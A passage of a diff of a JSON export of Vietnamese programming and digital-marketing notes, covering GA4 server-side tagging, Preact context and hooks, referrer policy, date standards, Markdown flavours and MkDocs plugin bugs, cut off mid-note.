"### About the Google Analytics client\n\nFirst, you need to set up a client in the server container. A client is a Tag Manager resource type that intercepts certain types of incoming HTTP requests and generates **events** that are passed to a destination, like Google Analytics 4.\n\nIn this case, the HTTP request is a **Google Analytics 4** event, so you need to configure the built-in **Google Analytics: GA4** client. You only need one GA4 client.\n\n \n \n![Diagram showing how the GA4 client serves as a library and a proxy for GA4 events.](https://developers.google.com/static/tag-platform/learn/images/analytics-client.png)\n\nThe GA4 client has a dual purpose.\n\n1. It serves as a proxy for Google Analytics 4 library that loads in the browser. GA4, just like any other analytics service running in the browser, requires a JavaScript library to work. Instead of the browser loading this library directly from Google's content distribution network, you can configure the GA4 client to allow the library to be loaded through your server container instead.\n2. The client also serves as a proxy for the GA4 event requests themselves. Instead of the browser sending the events directly to Google's analytics servers, they are first sent to the server container, where the GA4 client intercepts them and dispatches them onward to Google servers (and any other destinations you like).\n\n## Setting up the GA4 client\n\nTo set up the GA4 client in the server, follow the next four steps.\n\n### 1. Configure the client\n\nTo configure the GA4 client:\n\n1. In your server container, open **Clients**.\n2. Click on the **GA4 client** to open its configuration.\n3. Set up your GA4 client with the following parameters. Save when you are done.\n\n![Screenshot of the tag configuration dialog](https://developers.google.com/static/tag-platform/learn/images/client-configuration.png)\nNguồn:: [Configuring the Google Analytics 4 data stream with server-side tagging  |  Server-side tagging fundamentals  |  Google for Developers](https://developers.google.com/tag-platform/learn/sst-fundamentals/5-sst-setup-analytics)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yr" + "Ngày cập nhật": "2024-08-21T16:57:00.000Z", + "id": "ca" }, { - "Tiêu đề": "Mỗi khi state thay đổi thì islands được render lại", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Mỗi khi state thay đổi thì islands được render lại", + "Tiêu đề": "Only one client can claim an incoming request, but there can be multiple clients trying to claim the same request", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Server-side tagging/Only one client can claim an incoming request, but there can be multiple clients trying to claim the same request", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[State giúp cập nhật dữ liệu mà không cần tải lại trang]]\r\nNguồn:: ", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ys" + "Ngày cập nhật": "2024-08-21T16:57:00.000Z", + "id": "cb" }, { - "Tiêu đề": "State giúp cập nhật dữ liệu mà không cần tải lại trang", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/State giúp cập nhật dữ liệu mà không cần tải lại trang", + "Tiêu đề": "❓Measurement ID của web data stream chính là Google tag ID", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/❓Measurement ID của web data stream chính là Google tag ID", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[UI là kết quả của state và data. State nằm ở client, data nằm ở server]]\r\n[[Mỗi khi state thay đổi thì islands được render lại]]\r\n[[React được sinh ra để làm việc với trạng thái]]\r\nNguồn::\r\n", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yt" + "id": "cc" }, { - "Tiêu đề": "Nói cho đến cùng thì trang web chỉ là form", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Nói cho đến cùng thì trang web chỉ là form", + "Tiêu đề": "Link referrer không hiện đầy đủ mà chỉ có tên miền vì URL có thể chứa thông tin cá nhân", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Link referrer không hiện đầy đủ mà chỉ có tên miền vì URL có thể chứa thông tin cá nhân", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Fresh: a new full stack web framework for Deno with Luca Casonato - YouTube](https://youtu.be/nBrcmlrekV4?si=yDGZIff-3S645XJd&t=1586)", + "Toàn bộ nội dung": "Thêm thẻ này để cho phép lấy thông tin trên website của mình\r\n```html\r\n<meta name=\"referrer\" content=\"no-referrer-when-downgrade\"/>\r\n```\r\nNguồn:: [How Chrome’s new referrer policy affects your site analytics | Plausible Analytics](https://plausible.io/blog/referrer-policy)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yu" + "id": "cd" }, { - "Tiêu đề": "createContext() nằm ngoài global, useContext() nằm trong component", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Context/createContext() nằm ngoài global, useContext() nằm trong component", + "Tiêu đề": "Web analytics đã thay đổi trong nhiều năm qua", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Web analytics đã thay đổi trong nhiều năm qua", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Phải viết hook trong component. Không viết trong loop hoặc if được]]\r\n[[Giá trị trả về của useContext() là giá trị được truyền vào thuộc tính value của provider]]\r\n```jsx\r\nimport { createContext } from 'preact'\r\nimport { useContext } from 'preact/hooks'\r\n\r\nconst TênContext = createContext()\r\n\r\nexport default function App() {\r\n return (\r\n <TênContext.Provider value={giáTrịĐượcTruyềnVàoProvider}>\r\n\t <User />\r\n </TênContext.Provider>\r\n )\r\n}\r\n\r\nfunction User() {\r\n const username = useContext(TênContext) // Nếu giáTrịĐượcTruyềnVàoProvider = 'Bob' thì username = 'Bob'\r\n return <>{username}</>\r\n}\r\n```\r\n\r\nVí dụ:\r\n```tsx\r\nexport const TênContext = createContext('sdf') \r\n\r\nexport default function CấuHìnhProvider({ children }) {\r\n return (\r\n <ContextCấuHình.Provider value={giáTrịĐượcTruyềnVàoProvider} >\r\n {children} \r\n </ContextCấuHình.Provider>\r\n )\r\n} \r\n\r\nfunction Component(){\r\n  const [giáTrịĐượcTruyềnVàoProvider] = useContext(TênContext)\r\n} \r\n```\r\n[Context – Preact Tutorial](https://preactjs.com/tutorial/06-context/)", + "Toàn bộ nội dung": "- Người dùng ngày càng đòi hỏi cao hơn về sự riêng tư\r\n- Nhiều bộ luật và chính sách toàn cầu mới về dữ liệu\r\n- Các trình duyệt giảm hỗ trợ cookie\r\n- Người dùng sử dụng nhiều thiết bị hơn, có thể bắt đầu ở thiết bị này nhưng kết thúc ở thiết bị khác (trước đây chỉ có mỗi web) \r\n\r\nNguồn:: [Exceed: cannot access content](https://skillshop.exceedlms.com/uploads/resource_courses/targets/1468635/original/index.html?_courseId=291144#/page/6491e7af8f5788176787aef2)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-07-02T14:06:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yv" + "id": "ce" }, { - "Tiêu đề": "Giá trị trả về của useContext() là giá trị được truyền vào thuộc tính value của provider", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Context/Giá trị trả về của useContext() là giá trị được truyền vào thuộc tính value của provider", + "Tiêu đề": "🔊Tiếp thị số", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"🔊Tiếp thị số\" \r\nWHERE file.name!=this.file.name\r\ngroup by split(file.folder, \"/\")[1]\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-26T06:45:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yw" + "id": "cf" }, { - "Tiêu đề": "useContext() là cách để không phải dùng Consumer", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Context/useContext() là cách để không phải dùng Consumer", + "Tiêu đề": "Các quy chuẩn thời gian trong ISO và RFC", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Các quy chuẩn thời gian trong ISO và RFC", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Bình thường, hàm `createContext()` sẽ cho ta dùng 2 JSX: `Provider` cho đầu vào, và `Consumer` cho đầu ra.\r\n## Đầu vào\r\n```jsx\r\nimport { createContext } from 'preact'\r\n\r\nconst TênContext = createContext('Alice')\r\n\r\nexport default function App() {\r\n return (\r\n\t // provide the username value to our subtree:\r\n\t <TênContext.Provider value=\"Bob\">\r\n\t\t <ComponentCon>\r\n\t\t\t ...\r\n\t\t\t <ComponentConCháuChắtChútChít />\r\n\t\t\t ...\r\n\t\t <ComponentCon />\r\n\t </TênContext.Provider>\r\n\t)\r\n}\r\n```\r\n## Đầu ra\r\n```jsx\r\nimport { TênContext } from \"../routes/index.tsx\";\r\n\r\nexport default function ComponentConCháuChắtChútChít(){\r\n\treturn (\r\n\t <TênContext.Consumer>\r\n\t\t\t{username => (\r\n\t\t\t // access the current username from context:\r\n\t\t\t <span>{username}</span>\r\n\t\t\t)}\r\n\t </TênContext.Consumer>\r\n\t) \r\n} \r\n```\r\n\r\nKhi dùng `useContext()`, đầu ra bây giờ trông như sau:\r\n```jsx\r\nimport { TênContext } from \"../routes/index.tsx\";\r\nimport { useContext } from \"preact/hooks\";\r\n\r\nexport default function ComponentConCháuChắtChútChít(){\r\n\tconst username = useContext(TênContext)\r\n\treturn <span>{username}</span>\r\n} \r\n```\r\n\r\nViệc dùng hook này không chỉ làm code ngắn hơn mà nó còn cho ta được lấy giá trị như một biến bình thường mà không phải ở trong JSX\r\nNó giống như việc [[await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự]]\r\n\r\nNguồn:: [Context | Preact: Fast 3kb React alternative with the same ES6 API. Components & Virtual DOM.](https://preactjs.com/tutorial/06-context/)\r\n[[createContext() nằm ngoài global, useContext() nằm trong component]] ", + "Mô tả bài đăng": "2020-12-09T16:09:53+00:00 đáp ứng cả ISO và RFC", + "Toàn bộ nội dung": "| Mô tả | Ví dụ | ISO 8601 | RFC3339 |\n| --------------------------------- | --------------------------- | -------- | ------- |\n| Chuẩn | `2020-12-09T16:09:53+00:00` | ✔ | ✔ |\n| Dùng khoảng cách giữa ngày và giờ | `2020-12-09 16:09:53+00:00` | ❌ | ✔ |\n| Dấu âm trong time offset | `2020-12-09T16:09:53-00:00` | ❌ | ✔ |\n| Bỏ dấu ngang và hai chấm | `20201209T160953Z` | ✔ | ❌ |\n\nNguồn:: [[Stack Overflow]], [datetime - What's the difference between ISO 8601 and RFC 3339 Date Formats? - Stack Overflow](https://stackoverflow.com/a/65221179/3416774)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yx" + "Ngày cập nhật": "2024-09-09T14:03:00.000Z", + "id": "cg" }, { - "Tiêu đề": "Đối số của createContext() quyết định kiểu của value của Context.Provider", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Context/Đối số của createContext() quyết định kiểu của value của Context.Provider", + "Tiêu đề": "Markdown có rất nhiều phiên bản khác nhau", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/Markdown có rất nhiều phiên bản khác nhau", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```tsx\r\nexport const Context = createContext('a')\r\nexport default function Provider({ children }) {\r\n const arr = ['b', 'c'] \r\n return (\r\n <Context.Provider value={arr}> \r\n {children}\r\n </Context.Provider>\r\n )\r\n}\r\n```\r\nLỗi: `Type 'string[]' is not assignable to type 'string'`", + "Toàn bộ nội dung": "Lý do:: [[Markdown phiên bản gốc rất mù mờ, vì tác giả của nó không ngờ rằng nó lại được phổ biến đến vậy]]\nNguồn:: [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#why-is-a-spec-needed-) ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yy" + "Ngày cập nhật": "2024-09-09T14:05:00.000Z", + "id": "ch" }, { - "Tiêu đề": "Chính vì setState render lại cả component, nên với những file component muốn tách ra nhiều hàm độc lập, và state", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Chính vì setState render lại cả component, nên với những file component muốn tách ra nhiều hàm độc lập, và state", + "Tiêu đề": "Markdown hướng tới việc dễ đọc. AsciiDoc hướng tới việc dễ viết", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/Markdown hướng tới việc dễ đọc. AsciiDoc hướng tới việc dễ viết", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "Một đoạn [AsciiDoc](https://asciidoc.org/ \"AsciiDoc\"):\n```asciidoc\n1. List item one.\n+\nList item one continued with a second paragraph followed by an\nIndented block.\n+\n.................\n$ ls *.sh\n$ mv *.sh ~/tmp\n.................\n+\nList item continued with a third paragraph.\n\n2. List item two continued with an open block.\n+\n--\nThis paragraph is part of the preceding list item.\n\na. This list is nested and does not require explicit item\ncontinuation.\n+\nThis paragraph is part of the preceding list item.\n\nb. List item b.\n\nThis paragraph belongs to item two of the outer list.\n--\n```\n\nĐoạn tương đương trong Markdown:\n```md\n1. List item one.\n\n List item one continued with a second paragraph followed by an\n Indented block.\n\n $ ls *.sh\n $ mv *.sh ~/tmp\n\n List item continued with a third paragraph.\n\n2. List item two continued with an open block.\n\n This paragraph is part of the preceding list item.\n\n 1. This list is nested and does not require explicit item continuation.\n\n This paragraph is part of the preceding list item.\n\n 2. List item b.\n\n This paragraph belongs to item two of the outer list.\n```\nNguồn:: [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#what-is-markdown-)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yz" + "Ngày cập nhật": "2024-09-09T14:00:00.000Z", + "id": "ci" }, { - "Tiêu đề": "Các hàm set của hook sẽ kích hoạt việc render lại component nơi nó được khai báo", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Các hàm set của hook sẽ kích hoạt việc render lại component nơi nó được khai báo", + "Tiêu đề": "Markdown phiên bản gốc rất mù mờ, vì tác giả của nó không ngờ rằng nó lại được phổ biến đến vậy", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/Markdown phiên bản gốc rất mù mờ, vì tác giả của nó không ngờ rằng nó lại được phổ biến đến vậy", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Render là quá trình chuyển đổi dữ liệu và code sang HTML]]\r\nNguồn:: [useState – React](https://react.dev/reference/react/useState#usestate)", + "Toàn bộ nội dung": "Chính vì như vậy, nên [[Markdown có rất nhiều phiên bản khác nhau]]\nNguồn:: [Discord](https://discord.com/channels/686053708261228577/1092880274850848859/1282637340199751734)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Y-" + "Ngày cập nhật": "2024-09-09T14:04:00.000Z", + "id": "cj" }, { - "Tiêu đề": "Cách dùng useEffect với useState", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Cách dùng useEffect với useState", + "Tiêu đề": "Nhiều người vẫn nghĩ là bảng hoặc danh sách chọn (checklist) là có trong Markdown chuẩn, trong khi thực ra nó là phiên bản của GitHub", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/Nhiều người vẫn nghĩ là bảng hoặc danh sách chọn (checklist) là có trong Markdown chuẩn, trong khi thực ra nó là phiên bản của GitHub", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[useEffect được sinh ra là để side effect không tự động chạy mỗi khi component được render]]\r\n[[Trong useEffect chỉ dùng được promise, không dùng async được]] \r\n```ts\r\nconst [data, setData] = useState()\r\n\r\nuseEffect(() => {\r\n const fetchData = async () => {\r\n const data = await fetch('https://yourapi.com')\r\n const json = await response.json();\r\n setData(json);\r\n }\r\n // call the function\r\n fetchData().catch(console.error);\r\n}, [])\r\n```\r\nNguồn:: ", + "Toàn bộ nội dung": "[[Markdown phiên bản gốc rất mù mờ, vì tác giả của nó không ngờ rằng nó lại được phổ biến đến vậy]]\nNguồn:: [GitHub - syntax-tree/mdast-util-gfm: mdast extension to parse and serialize GFM (GitHub Flavored Markdown)](https://github.com/syntax-tree/mdast-util-gfm?tab=readme-ov-file#when-to-use-this)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Y_" + "Ngày cập nhật": "2024-09-09T14:05:00.000Z", + "id": "ck" }, { - "Tiêu đề": "Dùng setState gọn hơn signal nếu không phải truyền setter qua nhiều hàm khác nhau", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Dùng setState gọn hơn signal nếu không phải truyền setter qua nhiều hàm khác nhau", + "Tiêu đề": "Plugin ezlinks vừa nhiều lỗi vừa không cần thiết", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/Python/Plugin ezlinks vừa nhiều lỗi vừa không cần thiết", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Do nó không phải khai báo value. Khi phải .value để lấy dữ liệu, thì hay bị sơ ý\r\nkhông gặp vấn đề đặt tên biến [[Việc đặt tên không có tiền tố gì sẽ tiện khi nó thường được dùng thường xuyên ở những nơi khác, ở trong một danh sách, hoặc khi dùng để liệt kê các thuộc tính]]\r\n```\r\ncấuHìnhNơiĐăngSignal.value = cấuHìnhNơiĐăng;\r\n```\r\n[[Signal giúp giải quyết các vấn đề do useState hoặc Context tạo ra]]", + "Toàn bộ nội dung": "Ezlink là plugin cho Mkdocs để chuyển từ dạng `[[wikilink]]` sang dạng `[MDlink]()`. Nó được để mặc định trong GitHub Publisher. Nó có nhiều lỗi. Ví dụ, với `mkdocs.yml`:\n```yaml\nsite_name: test\nplugins:\n  - ezlinks:\n        wikilinks: true\n```\n\nVà cấu trúc thư mục ban đầu:\n```\ndocs/ \n├── index.md \n└── a/ \n\t└── index.md\n```\n\nSau khi dựng ta sẽ có:\n```\nsite/ \n├── index.html\n└── a/ \n\t└── index.html\n```\n\nNếu trong `docs/index.md` bạn có nội dung sau:\n```markdown\n[[a/index]]\n[[a/index.md]]\n[[./a/index]]\n[[./a/index.md]]\n```\nThì ở `site/index.html` sẽ ra kết quả html như sau:\n```html\n| docs/index.md | site/index.html | Trỏ đúng |\n| ---------------- | -------------------------------------------------- | -------- |\n| [[a/index]] | <a href=\"a/\" title=\"a/index\">a/index</a> | ✔ |\n| [[a/index.md]] | <a href=\"a/\" title=\"a/index.md\">a/index.md</a> | ✔ |\n| [[./a/index]] | <a href=\"a/index\" title=\"./a/index\">./a/index</a> | ❌ |\n| [[./a/index.md]] | <a href=\"a/\" title=\"./a/index.md\">./a/index.md</a> | ✔ |\n```\n\nĐồng thời Mkdocs sẽ báo như sau:\n```\nINFO - Doc file 'index.md' contains an\n unrecognized relative link\n 'a/index', it was left as is. Did \n you mean 'a/index.md'?\n```\n\nĐây là các bug khác:\n\n- [Incorrect path doesn't stay incorrectly, but automatically is replaced with a different path](https://github.com/Lisandra-dev/mkdocs-ezlinked-plugin/issues/3 \"Incorrect path doesn't stay incorrectly, but automatically is replaced with a different path · Issue #3 · Lisandra-dev/mkdocs-ezlinked-plugin\")\n- [Expecting `[[./a/index]]` to return `<a href=\"a/\"`, get `<a href=\"a/index\"`](https://github.com/Lisandra-dev/mkdocs-ezlinked-plugin/issues/2 \"Expecting `[[./a/index]]` to return `<a href="a/"`, get `<a href="a/index"` · Issue #2 · Lisandra-dev/mkdocs-ezlinked-plugin\")\n- [Correct MD path with unicode characters doesn't render correct HTML path](https://github.com/Lisandra-dev/mkdocs-ezlinked-plugin/issues/4 \"Correct MD path with unicode characters doesn't render correct HTML path · Issue #4 · Lisandra-dev/mkdocs-ezlinked-plugin\")\n\nTốt nhất là nên đổi wikilink sang mdlink ngay từ trong plugin của Obsidian rồi xoá ezlinks trong `mkdocs.yml`. Hoặc nếu không có thể không dùng plugin Mkdocs Publisher luôn mà dùng [mkdocs-obsidian-bridge](https://github.com/GooRoo/mkdocs-obsidian-bridge \"GooRoo/mkdocs-obsidian-bridge: An MkDocs plugin that helps exporting your Obsidian vault as an MkDocs site.\").", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z0" + "Ngày tạo": "2023-10-19T16:29:00.000Z", + "Ngày cập nhật": "2024-09-09T13:53:00.000Z", + "id": "cl" }, { - "Tiêu đề": "Không dùng mảng hoặc vật thể trong setState được", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Không dùng mảng hoặc vật thể trong setState được", + "Tiêu đề": "py-obsidianmd gặp lỗi khi chuyển từ ALL sang FRONTMATTER", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/Python/py-obsidianmd gặp lỗi khi chuyển từ ALL sang FRONTMATTER", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "I suggest reading the caveats [in the documentation](https://react.dev/reference/react/useState#usestate). An unconditional state setter call in a component function is always a bad idea, whether with a string or something else, and it isn't _always_ guaranteed React won't call the component function again as a result, even when you call it with the same value, though it usually won't.\r\n```js\r\nconsole.log(\"a\" === \"a\");\r\nconsole.log({ x : \"a\" } === { x : \"a\"}); //Why is this false when above is true\r\n```\r\n\r\n```javascript\r\nsetState(prev => {\r\n if (prev.keyOne === true && prev.keyTwo === 'someKey') {\r\n return prev; // Same object, so render is skipped\r\n } else {\r\n return { keyOne: true, keyTwo: 'someKey' };\r\n }\r\n});\r\n```\r\n\r\nIf you have some favorite library for checking deep equality (Eg, [lodash](https://lodash.com/docs/4.17.15#isEqual) or [ramda](https://ramdajs.com/docs/#equals)), you could shorten it to something like the following. This will be particularly useful if there are a lot of properties you would otherwise need to check:\r\n\r\n```javascript\r\nsetState(prev => {\r\n const next = { keyOne: true, keyTwo: 'someKey' };\r\n return R.equals(prev, next) ? prev : next;\r\n});\r\n```\r\nNguồn:: [Why is React rerendering the component when the states are the same?](https://stackoverflow.com/a/73808292/3416774)", + "Toàn bộ nội dung": "Chuyển từ frontmatter sang dạng inline thì được:\n```python\nnotes.metadata.move(fr=MetadataType.FRONTMATTER, to=MetadataType.INLINE)\nnotes.update_content(inline_inplace=False, inline_position=\"top\", inline_tml=\"standard\") #type: ignore\nghi chú.write()\n```\nLàm ngược lại từ inline sang frontmatter cũng được. Tuy nhiên, `ALL` → `FRONTMATTER` thì không được. `INLINE`→`FRONTMATTER` vẫn hoạt động. \n```python\nnotes.metadata.move(fr=MetadataType.ALL, to=MetadataType.FRONTMATTER)\nnotes.update_content(inline_inplace=False, inline_position=\"top\", inline_tml=\"standard\") #type: ignore\nghi chú.write()\n```\n https://selimrbd.github.io/py-obsidianmd/examples/\n[`ALL` → `INLINE` works, `ALL` → `FRONTMATTER` doesn't. `INLINE`→`FRONTMATTER` still works. · Issue #24 · selimrbd/py-obsidianmd](https://github.com/selimrbd/py-obsidianmd/issues/24 \"`ALL` → `INLINE` works, `ALL` → `FRONTMATTER` doesn't. `INLINE`→`FRONTMATTER` still works. · Issue #24 · selimrbd/py-obsidianmd\")\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z1" + "Ngày tạo": "2023-10-19T17:18:00.000Z", + "Ngày cập nhật": "2024-09-09T13:53:00.000Z", + "id": "cm" }, { - "Tiêu đề": "Phải viết hook trong component. Không viết trong loop hoặc if được", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Phải viết hook trong component. Không viết trong loop hoặc if được", + "Tiêu đề": "Python Markdown là để tuỳ chỉnh các tính năng thường gặp. Python Markdown Extensions là để mở rộng các cách đánh dấu mới", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/Python/Python Markdown là để tuỳ chỉnh các tính năng thường gặp. Python Markdown Extensions là để mở rộng các cách đánh dấu mới", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [useState – React](https://react.dev/reference/react/useState#usestate)", + "Toàn bộ nội dung": "[Python-Markdown — Python-Markdown 3.7 documentation](https://python-markdown.github.io/ \"Python-Markdown — Python-Markdown 3.7 documentation\")\n\n```js title=\"ví dụ.js\" linenums=\"1\" hl_lines=\"2 3\"\nconsole.log('sdfsd')\nconsole.log(\"Bấm vào dấu cộng bên cạnh thử xem\") // (1)\nconsole.log(\"Thêm dấu ! vào đằng sauđể không thấy dấu comment\") // (2)!\n```\n\n1. 🙋‍♂️ Đây là code annotation. Nó có thể có **bôi đậm**, *in nghiêng*, có `code`, thậm chí là xuống\n dòng\n2. Nó chứa được cả ảnh luôn \n![](https://i.giphy.com/media/v1.Y2lkPTc5MGI3NjExODc4cXd3aG03d2ptd2k0bDUzM3YxN2JvcXo4aWRqNzBvbG82aHN5ZyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/26ufdipQqU2lhNA4g/giphy.gif)\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z2" + "Ngày cập nhật": "2024-09-09T13:53:00.000Z", + "id": "cn" }, { - "Tiêu đề": "Trong useEffect chỉ dùng được promise, không dùng async được", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Trong useEffect chỉ dùng được promise, không dùng async được", + "Tiêu đề": "mdast dùng khi muốn thao tác trực tiếp trên cây cú pháp", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/unifiedjs/mdast dùng khi muốn thao tác trực tiếp trên cây cú pháp", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "### Cách sử dụng sai\r\n\r\n```javascript\r\n// ❌ không nên dùng\r\nuseEffect(async () => {\r\n const data = await fetchData();\r\n}, [fetchData])\r\n```\r\n\r\nNếu bạn viết dòng code trên, Linter 